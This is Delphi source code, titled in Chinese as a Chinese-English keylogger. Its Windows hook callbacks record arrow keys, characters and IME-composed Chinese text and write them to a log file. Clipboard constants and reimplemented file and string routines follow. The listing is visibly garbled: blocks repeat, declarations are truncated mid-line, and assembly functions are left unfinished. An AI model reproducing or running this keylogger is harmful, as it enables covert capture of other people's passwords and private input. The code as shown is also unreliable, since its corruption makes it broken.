一个中英文键盘记录源代码
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;//回调函数
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
if pcs^.wParam<$30 then
begin
if pcs^.wParam=VK_UP then ToFileProc('[↑]')
else
if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
else
if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
else
if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
else
if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
else
if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
else
if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
else
if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
else
if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
else
if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
if not (IsDBCSleadByte(pcs^.wParam)) then
begin
if (wParam and PM_REMOVE)>0 then
begin
if pcs^.wParam=VK_SPACE then ToFileProc(' ')
else
if pcs^.wParam=VK_RETURN then ToFileProc('#10')
else
ToFileProc(char(pcs^.wParam AND $FF))
end;
end;
end;
end;
pcs:=nil;
end;
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
end;
pcs:=nil;
end;
function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
begin
hFocus := GetFocus();
HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
if HIMC = 0 then Exit;
//将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
if dwLen > 0 then
begin
// 再调用一次.ImmGetCompositionString获取字符串
if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
begin
if strcomp(cchar,cchar2)<>0 then
ToFileProc(cchar);
strcopy(cchar2,cchar);
ZeroMemory(@cchar,20);
end;
end;
ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;
unit Unit_Other;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
end;
pcs:=nil;
end;
unit Unit_Other;
interface
uses
Windows;
uses
const
WM_DRAWCLIPBOARD = $0308;
WM_CHANGECBCHAIN = $030D;
{======================Messages.pas============================================}
const
NULL = 0;
WM_DESTROY = $0002;
WM_CHAR = $0102;
WM_IME_CHAR = $0286;
WM_IME_COMPOSITION = $010F;
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR = $0800;
imm32 = 'imm32.dll';
{======================Messages.pas============================================}
const
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR
imm32 = 'imm32.dll';
function ImmGetContext(hWnd: HWND): HIMC; stdcall; external imm32 name 'ImmGetContext';
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA';
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
function FileCreate(const FileName: string): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
implementation
type
function FileAge(const FileName: string): Integer;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
var
begin
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
PUSH EDI
PUSH ESI
MOV EDI,EDX
MOV ESI,EAX
MOV ECX,0FFFFFFFFH
asm
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm